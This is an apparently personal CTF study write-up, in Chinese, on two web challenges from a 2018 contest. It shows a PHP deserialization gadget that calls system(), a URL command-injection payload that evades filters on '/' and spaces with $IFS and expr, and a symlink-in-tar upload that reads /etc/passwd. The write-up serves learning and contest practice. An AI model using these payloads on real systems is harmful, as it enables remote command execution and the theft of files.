2018安恒杯11月赛知识笔记
首先肯定要附上大佬的WP了来供大家学习参考的,感觉学到了好多东西。
https://www.anquanke.com/post/id/166492
http://shaobaobaoer.cn/archives/701/anheng-11yue-wp-unfinish
emmmm,开始笔记之路,首先是ezsql这道题,看题目就感觉是sql注入,一叶知秋大佬用了if来测试是否存在注入,并且发现可以通过load_file来读取文件,这里应该是要写个脚本慢慢的读出源码的,第二个大佬的博客里有脚本供查看。分析源码得知,这应该是一个php序列化漏洞.(主要是讲学到的知识点,所以比较粗略)
ezsql
index.php
<?php
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>
config.php
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}
注意到一些函数,比如说_get()魔术方法,新建对象后,如果访问的是不存在的属性的话,可以执行_get函数下面的命令
另外注意到call_user_func()函数,这是一个回调函数(来自手册:第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。)
也就是说如果可以的话,可以利用这个回调函数执行system('ls')等各种命令。呢么来看下可控参数把,分析下
<?php $config = unserialize(base64_decode($config)); if(isset($_GET['p'])){ $p=$_GET['p']; $config->$p; } $value=waf_exec($value); var_dump($value); if($this->filter){ foreach($this->filter as $filter){ $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value); public function __get($key){ //var_dump($key); $this->SetFilter($key); die(""); }
序列化一下
$sky = new Config();
$sky->filter = array('system');
echo base64_encode(serialize($sky));
然后传入cookie的config
也就是说可以利用传入的config来反序列化,修改filter属性为arrary('system'),而且在反序列化后,$config->$p,调用了一个不存在的属性,就会执行_get()函数,把参数p传入的东西作为value,放入回调函数里,呢么就执行了system('ls')这样的命令呢么列出了目录,大佬测试了下,发现/和空格都被过滤了。 //_call魔术方法,在调用不存在的类方法是被调用这里呢,又到了linux的知识点了,$IFS可以表示为空格,pwd是当前位置的绝对路径,expr可以抓取字符,expr语法中反斜杠\放在shell特定的字符前.具体的payload如下http://101.71.29.5:10015/index.php?p=cat$IFSflag2333expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1flag.php呢么来具体解释下把,执行的结果是 cat/flag2333/flag.php,怎么做到的呢,结果我上面分析的,substr $(pwd) 1 1的意思是,从绝对路径的第一位取一个字符,呢么绝对路径的第一个字符一定是/,所以绕过了对/的过滤,很神奇
而一叶知秋大佬是用grep命令来实现过滤的,是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印
补充:对于$config->$p这步可能有人不理解,我的理解是把一个对象传入了$conifg,所以$config->$p可以理解为,Config类调用$p属性,因为__get,所以就算调用不存在的属性,也会触发__get函数
https://www.cnblogs.com/wfzWebSecuity/p/10039161.html
interesting web
因为是flask框架,所以session是再cookie里,而且是json web token,所以可以base64解码的把头部解码,可以看到token。
比如说这串session
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJaREk1TTJRMk9XSTBPV1U0WWpNM01EUTFOMk0wWXpjNVpUTTJOek0yTkRVPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DtqVZA.sKvz6PyWEuNzg_FZrRI3RKzoWzk
jst分为三个部分,第一部分我们称它为头部(header)第二部分我们称其为载荷(payload,类似于飞机上承载的物品),第三部分是签证(signature),第一部分可以base64解码
然后再把token里的再base64解码一次就能得到token了,然后这里用到了软连接(linux知识点),好神奇,第一次听说(CTF这东西,得有好多好多人生中的第一次,尴尬ing)
这是linux中一个非常重要命令,请大家一定要熟悉。它的功能是为某一个文件在另外一个位置建立一个同不的链接,这个命令最常用的参数是-s,
具体用法是:ln -s 源文件 目标文件。
当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的 目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间
![](https://img2018.cnblogs.com/blog/1357258/201904/1357258-20190418232939401-275419803.png)
![](https://img2018.cnblogs.com/blog/1357258/201904/1357258-20190418233044272-1638554628.png)
![](https://img2018.cnblogs.com/blog/1357258/201904/1357258-20190418233054320-1211714317.png)
打开1.tar,并且提取222.jpg,改为222.txt,打开后,确实屎原来flag.txt里的内容,真神奇,自己试一下才印象深刻,哈哈。WEB真有意思。加油好吧。
![](https://img2018.cnblogs.com/blog/1357258/201904/1357258-20190418233352363-2020507460.png)
(来自一叶知秋大佬文章,上面的blog里面)
ln -s /etc/passwd 222222.jpg tar cvfp 1.tar 222222.jpg
上传1.tar,即可得到flag